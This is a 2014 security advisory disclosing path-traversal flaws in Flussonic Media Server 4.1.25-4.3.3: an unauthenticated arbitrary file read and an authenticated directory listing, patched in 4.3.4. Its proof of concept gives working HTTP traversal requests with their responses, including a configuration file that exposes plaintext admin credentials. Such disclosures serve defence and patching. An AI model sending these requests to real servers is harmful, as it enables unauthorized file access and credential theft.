Flussonic Media Server 4.1.25 - 4.3.3 - Aribtrary File Disclosure

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Document Title:

============

Flussonic Media Server 4.3.3 Multiple Vulnerabilities

 

Release Date:

===========

June 29, 2014

 

Product & Service Introduction:

========================

Flussonic is a mutli-protocol streaming server with support for many protocols, including HDS, HLS, RTMP, RTSP, HTTP, MPEG-TS. Flussonic has the capability of capturing multimedia from external sources, such as video cameras, satellite TV and other multimedia servers (Wowza, Flash Media Server and Red5).

 

Flussonic operates on the highly flexible and fast Erlang platform that facilitates impressive performance during parallel data processing, failure safety for servers, and scaling options up to a sophisticated distributed data network.

 

Abstract Advisory Information:

=======================

BGA Security Team discovered an arbitrary file read and arbitrary directory listing vulnerability in Flussonic Media Server 4.3.3

 

Vulnerability Disclosure Timeline:

=========================

June 26, 2014    :    Contact with Vendor

June 26, 2014    :    Vendor Response

June 26, 2014    :    Version 4.3.4 Deployed

June 29, 2014    :    Public Disclosure

 

Discovery Status:

=============

Published

 

Affected Product(s):

===============

Erlyvideo, LLC

Product: Flussonic Media Server 4.1.25 - 4.3.3

 

Exploitation Technique:

==================

AFR:    Remote, Unauthenticated

ADL:    Remote, Authenticated

 

Severity Level:

===========

High

 

Technical Details & Description:

========================

1. Arbitrary File Read (Unauthenticated)

It’s possible to read any files from the server (with the application’s user’s permissions) by a simple HTTP GET request. Flussonic’s web interface login information can be found as plaintext by reading /etc/flussonic/flussonic.conf; thus, it’s possible to login any Flussonic web interface using that method.

 

2. Arbitrary Directory Listing (Authenticated)

It’s possible to list any directories’ content sending a HTTP GET request to “flussonic/api/list_files” with the parameter “subpath=directory”.

 

 

Proof of Concept (PoC):

==================

Proof of Concept AFR Request & Response:

 

GET /../../../etc/flussonic/flussonic.conf HTTP/1.1

Host: 6.6.6.100:8080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

 

HTTP/1.1 200 OK

Connection: keep-alive

Server: Cowboy

Date: Thu, 26 Jun 2014 09:50:57 GMT

Content-Length: 191

Content-Type: text/plain

Last-Modified: Tue, 24 Jun 2014 22:10:53 GMT

Etag: 1452b98181c562b2e2d041a3e1fe2af0cffe8687

 

# Default ports Flussonic M1 Media server listens on

http 80;

http 8080;

rtmp 1935;

rtsp 554;

pulsedb /var/run/flussonic;

edit_auth flussonic letmein!;

 

live mylive;

 

file vod {

path priv;

}

 

2. Proof of Concept ADR Request & Response:

 

GET /flussonic/api/list_files?subpath=../../../etc HTTP/1.1

Host: 6.6.6.100:8080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Authorization: Basic Zmx1c3NvbmljOmxldG1laW4h

Connection: keep-alive

 

HTTP/1.1 200 OK

Connection: keep-alive

Server: Cowboy

Date: Thu, 26 Jun 2014 11:04:12 GMT

Content-Length: 7555

X-Route-Time: 28

X-Run-Time: 8090

Content-Type: application/json

 

{“files":[{"name":"X11","type":"directory"},{"name":"acpi","type":"directory"},{"name":"adduser.conf","type":"file","prefix":"vod"},{"name":"alternatives","type":"directory"},{"name":"apache2","type":"directory"},{"name":"apm","type":"directory"},

………

{“name":"xml","type":"directory"},{"name":"zsh_command_not_found","type":"file","prefix":"vod"}]}

 

 

Solution Fix & Patch:

================

Update version 4.3.4

 

Security Risk:

==========

The risk of the vulnerabilities above estimated as high and medium.

 

Credits & Authors:

==============

Bilgi Güvenliði Akademisi

 

Disclaimer & Information:

===================

The information provided in this advisory is provided as it is without any warranty. BGA disclaims all  warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. BGA or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages.

             

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Contact:        bilgi@bga.com.tr

     

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